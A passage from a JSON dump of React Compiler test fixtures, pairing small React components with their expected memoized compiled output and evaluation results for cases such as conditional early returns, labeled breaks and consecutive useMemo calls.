    "content": "\n## Input\n\n```javascript\n// @flow @compilationMode:\"infer\"\nexport default component Foo(bar: number) {\n  return <Bar bar={bar} />;\n}\n\ncomponent Bar(bar: number) {\n  return <div>{bar}</div>;\n}\n\nfunction shouldNotCompile() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{bar: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nexport default function Foo(t0) {\n  const $ = _c(2);\n  const { bar } = t0;\n  let t1;\n  if ($[0] !== bar) {\n    t1 = <Bar bar={bar} />;\n    $[0] = bar;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nfunction Bar(t0) {\n  const $ = _c(2);\n  const { bar } = t0;\n  let t1;\n  if ($[0] !== bar) {\n    t1 = <div>{bar}</div>;\n    $[0] = bar;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nfunction shouldNotCompile() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ bar: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>42</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-declaration-basic.flow.js",
    "content": "// @flow @compilationMode:\"infer\"\nexport default component Foo(bar: number) {\n  return <Bar bar={bar} />;\n}\n\ncomponent Bar(bar: number) {\n  return <div>{bar}</div>;\n}\n\nfunction shouldNotCompile() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{bar: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-inner-function-with-many-args.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\nfunction Component(props) {\n  const cb = (x, y, z) => x + y + z;\n\n  return <Stringify cb={cb} id={props.id} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{id: 0}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  const cb = _temp;\n  let t0;\n  if ($[0] !== props.id) {\n    t0 = <Stringify cb={cb} id={props.id} />;\n    $[0] = props.id;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\nfunction _temp(x, y, z) {\n  return x + y + z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ id: 0 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"cb\":\"[[ function params=3 ]]\",\"id\":0}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-inner-function-with-many-args.tsx",
    "content": "import {Stringify} from 'shared-runtime';\nfunction Component(props) {\n  const cb = (x, y, z) => x + y + z;\n\n  return <Stringify cb={cb} id={props.id} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{id: 0}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const items = props.items;\n  const maxItems = props.maxItems;\n\n  const renderedItems = [];\n  const seen = new Set();\n  const max = Math.max(0, maxItems);\n  for (let i = 0; i < items.length; i += 1) {\n    const item = items.at(i);\n    if (item == null || seen.has(item)) {\n      continue;\n    }\n    seen.add(item);\n    renderedItems.push(<div>{item}</div>);\n    if (renderedItems.length >= max) {\n      break;\n    }\n  }\n  const count = renderedItems.length;\n  return (\n    <div>\n      <h1>{count} Items</h1>\n      {renderedItems}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(8);\n  const items = props.items;\n  const maxItems = props.maxItems;\n  let renderedItems;\n  if ($[0] !== items || $[1] !== maxItems) {\n    renderedItems = [];\n    const seen = new Set();\n    const max = Math.max(0, maxItems);\n    for (let i = 0; i < items.length; i = i + 1, i) {\n      const item = items.at(i);\n      if (item == null || seen.has(item)) {\n        continue;\n      }\n\n      seen.add(item);\n      renderedItems.push(<div>{item}</div>);\n      if (renderedItems.length >= max) {\n        break;\n      }\n    }\n    $[0] = items;\n    $[1] = maxItems;\n    $[2] = renderedItems;\n  } else {\n    renderedItems = $[2];\n  }\n\n  const count = renderedItems.length;\n  let t0;\n  if ($[3] !== count) {\n    t0 = <h1>{count} Items</h1>;\n    $[3] = count;\n    $[4] = t0;\n  } else {\n    t0 = $[4];\n  }\n  let t1;\n  if ($[5] !== renderedItems || $[6] !== t0) {\n    t1 = (\n      <div>\n        {t0}\n        {renderedItems}\n      </div>\n    );\n    $[5] = renderedItems;\n    $[6] = t0;\n    $[7] = t1;\n  } else {\n    t1 = $[7];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component.js",
    "content": "function Component(props) {\n  const items = props.items;\n  const maxItems = props.maxItems;\n\n  const renderedItems = [];\n  const seen = new Set();\n  const max = Math.max(0, maxItems);\n  for (let i = 0; i < items.length; i += 1) {\n    const item = items.at(i);\n    if (item == null || seen.has(item)) {\n      continue;\n    }\n    seen.add(item);\n    renderedItems.push(<div>{item}</div>);\n    if (renderedItems.length >= max) {\n      break;\n    }\n  }\n  const count = renderedItems.length;\n  return (\n    <div>\n      <h1>{count} Items</h1>\n      {renderedItems}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-call-evaluation-order.expect.md",
    "content": "\n## Input\n\n```javascript\n// Should print A, B, arg, original\nfunction Component() {\n  const changeF = o => {\n    o.f = () => console.log('new');\n  };\n  const x = {\n    f: () => console.log('original'),\n  };\n\n  (console.log('A'), x)[(console.log('B'), 'f')](\n    (changeF(x), console.log('arg'), 1)\n  );\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // Should print A, B, arg, original\nfunction Component() {\n  const $ = _c(1);\n  const changeF = _temp2;\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = { f: _temp3 };\n\n    (console.log(\"A\"), x)[(console.log(\"B\"), \"f\")](\n      (changeF(x), console.log(\"arg\"), 1),\n    );\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\nfunction _temp3() {\n  return console.log(\"original\");\n}\nfunction _temp2(o) {\n  o.f = _temp;\n}\nfunction _temp() {\n  return console.log(\"new\");\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"f\":\"[[ function params=0 ]]\"}\nlogs: ['A','B','arg','original']"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-call-evaluation-order.js",
    "content": "// Should print A, B, arg, original\nfunction Component() {\n  const changeF = o => {\n    o.f = () => console.log('new');\n  };\n  const x = {\n    f: () => console.log('original'),\n  };\n\n  (console.log('A'), x)[(console.log('B'), 'f')](\n    (changeF(x), console.log('arg'), 1)\n  );\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-call-spread.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = foo[props.method](...props.a, null, ...props.b);\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.method) {\n    t0 = foo[props.method](...props.a, null, ...props.b);\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.method;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  const x = t0;\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-call-spread.js",
    "content": "function Component(props) {\n  const x = foo[props.method](...props.a, null, ...props.b);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-load-primitive-as-dependency.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\nfunction Component(props) {\n  let a = foo();\n  // freeze `a` so we know the next line cannot mutate it\n  <div>{a}</div>;\n\n  // b should be dependent on `props.a`\n  let b = bar(a[props.a] + 1);\n  return b;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false\nfunction Component(props) {\n  const $ = _c(2);\n  const a = foo();\n\n  const t0 = a[props.a] + 1;\n  let t1;\n  if ($[0] !== t0) {\n    t1 = bar(t0);\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const b = t1;\n  return b;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-load-primitive-as-dependency.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false\nfunction Component(props) {\n  let a = foo();\n  // freeze `a` so we know the next line cannot mutate it\n  <div>{a}</div>;\n\n  // b should be dependent on `props.a`\n  let b = bar(a[props.a] + 1);\n  return b;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-store-alias.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\nfunction useHook({a, b}) {\n  let y = {a};\n  let x = {b};\n  x['y'] = y;\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{a: 2, b: 3}],\n  sequentialRenders: [\n    {a: 2, b: 3},\n    {a: 2, b: 3},\n    {a: 3, b: 3},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\nfunction useHook(t0) {\n  const $ = _c(3);\n  const { a, b } = t0;\n  let x;\n  if ($[0] !== a || $[1] !== b) {\n    const y = { a };\n    x = { b };\n    x.y = y;\n    mutate(x);\n    $[0] = a;\n    $[1] = b;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{ a: 2, b: 3 }],\n  sequentialRenders: [\n    { a: 2, b: 3 },\n    { a: 2, b: 3 },\n    { a: 3, b: 3 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"b\":3,\"y\":{\"a\":2},\"wat0\":\"joe\"}\n{\"b\":3,\"y\":{\"a\":2},\"wat0\":\"joe\"}\n{\"b\":3,\"y\":{\"a\":3},\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-store-alias.js",
    "content": "import {mutate} from 'shared-runtime';\nfunction useHook({a, b}) {\n  let y = {a};\n  let x = {b};\n  x['y'] = y;\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{a: 2, b: 3}],\n  sequentialRenders: [\n    {a: 2, b: 3},\n    {a: 2, b: 3},\n    {a: 3, b: 3},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/concise-arrow-expr.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component() {\n  let [x, setX] = useState(0);\n  const handler = v => setX(v);\n  return <Foo handler={handler}></Foo>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component() {\n  const $ = _c(1);\n  const [, setX] = useState(0);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const handler = (v) => setX(v);\n    t0 = <Foo handler={handler} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/concise-arrow-expr.js",
    "content": "function component() {\n  let [x, setX] = useState(0);\n  const handler = v => setX(v);\n  return <Foo handler={handler}></Foo>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-break-labeled.expect.md",
    "content": "\n## Input\n\n```javascript\n/**\n * props.b *does* influence `a`\n */\nfunction Component(props) {\n  const a = [];\n  a.push(props.a);\n  label: {\n    if (props.b) {\n      break label;\n    }\n    a.push(props.c);\n  }\n  a.push(props.d);\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; /**\n * props.b *does* influence `a`\n */\nfunction Component(props) {\n  const $ = _c(5);\n  let a;\n  if (\n    $[0] !== props.a ||\n    $[1] !== props.b ||\n    $[2] !== props.c ||\n    $[3] !== props.d\n  ) {\n    a = [];\n    a.push(props.a);\n    bb0: {\n      if (props.b) {\n        break bb0;\n      }\n\n      a.push(props.c);\n    }\n\n    a.push(props.d);\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.c;\n    $[3] = props.d;\n    $[4] = a;\n  } else {\n    a = $[4];\n  }\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-break-labeled.js",
    "content": "/**\n * props.b *does* influence `a`\n */\nfunction Component(props) {\n  const a = [];\n  a.push(props.a);\n  label: {\n    if (props.b) {\n      break label;\n    }\n    a.push(props.c);\n  }\n  a.push(props.d);\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-early-return.expect.md",
    "content": "\n## Input\n\n```javascript\n/**\n * props.b does *not* influence `a`\n */\nfunction ComponentA(props) {\n  const a_DEBUG = [];\n  a_DEBUG.push(props.a);\n  if (props.b) {\n    return null;\n  }\n  a_DEBUG.push(props.d);\n  return a_DEBUG;\n}\n\n/**\n * props.b *does* influence `a`\n */\nfunction ComponentB(props) {\n  const a = [];\n  a.push(props.a);\n  if (props.b) {\n    a.push(props.c);\n  }\n  a.push(props.d);\n  return a;\n}\n\n/**\n * props.b *does* influence `a`, but only in a way that is never observable\n */\nfunction ComponentC(props) {\n  const a = [];\n  a.push(props.a);\n  if (props.b) {\n    a.push(props.c);\n    return null;\n  }\n  a.push(props.d);\n  return a;\n}\n\n/**\n * props.b *does* influence `a`\n */\nfunction ComponentD(props) {\n  const a = [];\n  a.push(props.a);\n  if (props.b) {\n    a.push(props.c);\n    return a;\n  }\n  a.push(props.d);\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: ComponentA,\n  params: [{a: 1, b: false, d: 3}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; /**\n * props.b does *not* influence `a`\n */\nfunction ComponentA(props) {\n  const $ = _c(5);\n  let a_DEBUG;\n  let t0;\n  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.d) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      a_DEBUG = [];\n      a_DEBUG.push(props.a);\n      if (props.b) {\n        t0 = null;\n        break bb0;\n      }\n\n      a_DEBUG.push(props.d);\n    }\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.d;\n    $[3] = a_DEBUG;\n    $[4] = t0;\n  } else {\n    a_DEBUG = $[3];\n    t0 = $[4];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n  return a_DEBUG;\n}\n\n/**\n * props.b *does* influence `a`\n */\nfunction ComponentB(props) {\n  const $ = _c(5);\n  let a;\n  if (\n    $[0] !== props.a ||\n    $[1] !== props.b ||\n    $[2] !== props.c ||\n    $[3] !== props.d\n  ) {\n    a = [];\n    a.push(props.a);\n    if (props.b) {\n      a.push(props.c);\n    }\n\n    a.push(props.d);\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.c;\n    $[3] = props.d;\n    $[4] = a;\n  } else {\n    a = $[4];\n  }\n  return a;\n}\n\n/**\n * props.b *does* influence `a`, but only in a way that is never observable\n */\nfunction ComponentC(props) {\n  const $ = _c(6);\n  let a;\n  let t0;\n  if (\n    $[0] !== props.a ||\n    $[1] !== props.b ||\n    $[2] !== props.c ||\n    $[3] !== props.d\n  ) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      a = [];\n      a.push(props.a);\n      if (props.b) {\n        a.push(props.c);\n        t0 = null;\n        break bb0;\n      }\n\n      a.push(props.d);\n    }\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.c;\n    $[3] = props.d;\n    $[4] = a;\n    $[5] = t0;\n  } else {\n    a = $[4];\n    t0 = $[5];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n  return a;\n}\n\n/**\n * props.b *does* influence `a`\n */\nfunction ComponentD(props) {\n  const $ = _c(6);\n  let a;\n  let t0;\n  if (\n    $[0] !== props.a ||\n    $[1] !== props.b ||\n    $[2] !== props.c ||\n    $[3] !== props.d\n  ) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      a = [];\n      a.push(props.a);\n      if (props.b) {\n        a.push(props.c);\n        t0 = a;\n        break bb0;\n      }\n\n      a.push(props.d);\n    }\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.c;\n    $[3] = props.d;\n    $[4] = a;\n    $[5] = t0;\n  } else {\n    a = $[4];\n    t0 = $[5];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: ComponentA,\n  params: [{ a: 1, b: false, d: 3 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1,3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-early-return.js",
    "content": "/**\n * props.b does *not* influence `a`\n */\nfunction ComponentA(props) {\n  const a_DEBUG = [];\n  a_DEBUG.push(props.a);\n  if (props.b) {\n    return null;\n  }\n  a_DEBUG.push(props.d);\n  return a_DEBUG;\n}\n\n/**\n * props.b *does* influence `a`\n */\nfunction ComponentB(props) {\n  const a = [];\n  a.push(props.a);\n  if (props.b) {\n    a.push(props.c);\n  }\n  a.push(props.d);\n  return a;\n}\n\n/**\n * props.b *does* influence `a`, but only in a way that is never observable\n */\nfunction ComponentC(props) {\n  const a = [];\n  a.push(props.a);\n  if (props.b) {\n    a.push(props.c);\n    return null;\n  }\n  a.push(props.d);\n  return a;\n}\n\n/**\n * props.b *does* influence `a`\n */\nfunction ComponentD(props) {\n  const a = [];\n  a.push(props.a);\n  if (props.b) {\n    a.push(props.c);\n    return a;\n  }\n  a.push(props.d);\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: ComponentA,\n  params: [{a: 1, b: false, d: 3}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-on-mutable.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction ComponentA(props) {\n  const a = [];\n  const b = [];\n  if (b) {\n    a.push(props.p0);\n  }\n  if (props.p1) {\n    b.push(props.p2);\n  }\n  return <Foo a={a} b={b} />;\n}\n\nfunction ComponentB(props) {\n  const a = [];\n  const b = [];\n  if (mayMutate(b)) {\n    a.push(props.p0);\n  }\n  if (props.p1) {\n    b.push(props.p2);\n  }\n  return <Foo a={a} b={b} />;\n}\n\nfunction Foo() {}\nfunction mayMutate() {}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction ComponentA(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.p0 || $[1] !== props.p1 || $[2] !== props.p2) {\n    const a = [];\n    const b = [];\n    if (b) {\n      a.push(props.p0);\n    }\n    if (props.p1) {\n      b.push(props.p2);\n    }\n    t0 = <Foo a={a} b={b} />;\n    $[0] = props.p0;\n    $[1] = props.p1;\n    $[2] = props.p2;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\nfunction ComponentB(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.p0 || $[1] !== props.p1 || $[2] !== props.p2) {\n    const a = [];\n    const b = [];\n    if (mayMutate(b)) {\n      a.push(props.p0);\n    }\n    if (props.p1) {\n      b.push(props.p2);\n    }\n    t0 = <Foo a={a} b={b} />;\n    $[0] = props.p0;\n    $[1] = props.p1;\n    $[2] = props.p2;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\nfunction Foo() {}\nfunction mayMutate() {}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-on-mutable.js",
    "content": "function ComponentA(props) {\n  const a = [];\n  const b = [];\n  if (b) {\n    a.push(props.p0);\n  }\n  if (props.p1) {\n    b.push(props.p2);\n  }\n  return <Foo a={a} b={b} />;\n}\n\nfunction ComponentB(props) {\n  const a = [];\n  const b = [];\n  if (mayMutate(b)) {\n    a.push(props.p0);\n  }\n  if (props.p1) {\n    b.push(props.p2);\n  }\n  return <Foo a={a} b={b} />;\n}\n\nfunction Foo() {}\nfunction mayMutate() {}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-set-state-in-render.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const [x, setX] = useState(0);\n\n  const foo = () => {\n    setX(1);\n  };\n\n  if (props.cond) {\n    setX(2);\n    foo();\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  const [x, setX] = useState(0);\n\n  const foo = () => {\n    setX(1);\n  };\n\n  if (props.cond) {\n    setX(2);\n    foo();\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-set-state-in-render.js",
    "content": "function Component(props) {\n  const [x, setX] = useState(0);\n\n  const foo = () => {\n    setX(1);\n  };\n\n  if (props.cond) {\n    setX(2);\n    foo();\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conflict-codegen-instrument-forget.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableEmitInstrumentForget @compilationMode:\"annotation\"\n\nimport {identity} from 'shared-runtime';\n\nfunction Bar(props) {\n  'use forget';\n  const shouldInstrument = identity(null);\n  const _shouldInstrument = identity(null);\n  const _x2 = () => {\n    const _shouldInstrument2 = 'hello world';\n    return identity({_shouldInstrument2});\n  };\n  return (\n    <div style={shouldInstrument} other={_shouldInstrument}>\n      {props.bar}\n    </div>\n  );\n}\n\nfunction Foo(props) {\n  'use forget';\n  return <Foo>{props.bar}</Foo>;\n}\n\n```\n\n## Code\n\n```javascript\nimport {\n  shouldInstrument as _shouldInstrument3,\n  useRenderCounter,\n} from \"react-compiler-runtime\";\nimport { c as _c } from \"react/compiler-runtime\"; // @enableEmitInstrumentForget @compilationMode:\"annotation\"\n\nimport { identity } from \"shared-runtime\";\n\nfunction Bar(props) {\n  \"use forget\";\n  if (DEV && _shouldInstrument3)\n    useRenderCounter(\"Bar\", \"/conflict-codegen-instrument-forget.ts\");\n  const $ = _c(4);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = identity(null);\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const shouldInstrument = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = identity(null);\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const _shouldInstrument = t1;\n  let t2;\n  if ($[2] !== props.bar) {\n    t2 = (\n      <div style={shouldInstrument} other={_shouldInstrument}>\n        {props.bar}\n      </div>\n    );\n    $[2] = props.bar;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  return t2;\n}\n\nfunction Foo(props) {\n  \"use forget\";\n  if (DEV && _shouldInstrument3)\n    useRenderCounter(\"Foo\", \"/conflict-codegen-instrument-forget.ts\");\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.bar) {\n    t0 = <Foo>{props.bar}</Foo>;\n    $[0] = props.bar;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conflict-codegen-instrument-forget.js",
    "content": "// @enableEmitInstrumentForget @compilationMode:\"annotation\"\n\nimport {identity} from 'shared-runtime';\n\nfunction Bar(props) {\n  'use forget';\n  const shouldInstrument = identity(null);\n  const _shouldInstrument = identity(null);\n  const _x2 = () => {\n    const _shouldInstrument2 = 'hello world';\n    return identity({_shouldInstrument2});\n  };\n  return (\n    <div style={shouldInstrument} other={_shouldInstrument}>\n      {props.bar}\n    </div>\n  );\n}\n\nfunction Foo(props) {\n  'use forget';\n  return <Foo>{props.bar}</Foo>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conflicting-dollar-sign-variable.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  const $ = identity('jQuery');\n  const t0 = identity([$]);\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $0 = _c(1);\n  let t0;\n  if ($0[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const $ = identity(\"jQuery\");\n    t0 = identity([$]);\n    $0[0] = t0;\n  } else {\n    t0 = $0[0];\n  }\n  const t0$0 = t0;\n  return t0$0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"jQuery\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conflicting-dollar-sign-variable.js",
    "content": "import {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  const $ = identity('jQuery');\n  const t0 = identity([$]);\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/consecutive-use-memo.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useMemo} from 'react';\nimport {identity} from 'shared-runtime';\n\nfunction useHook({a, b}) {\n  const valA = useMemo(() => identity({a}), [a]);\n  const valB = useMemo(() => identity([b]), [b]);\n  return [valA, valB];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{a: 2, b: 3}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useMemo } from \"react\";\nimport { identity } from \"shared-runtime\";\n\nfunction useHook(t0) {\n  const $ = _c(7);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = identity({ a });\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const valA = t1;\n  let t2;\n  if ($[2] !== b) {\n    t2 = identity([b]);\n    $[2] = b;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  const valB = t2;\n  let t3;\n  if ($[4] !== valA || $[5] !== valB) {\n    t3 = [valA, valB];\n    $[4] = valA;\n    $[5] = valB;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return 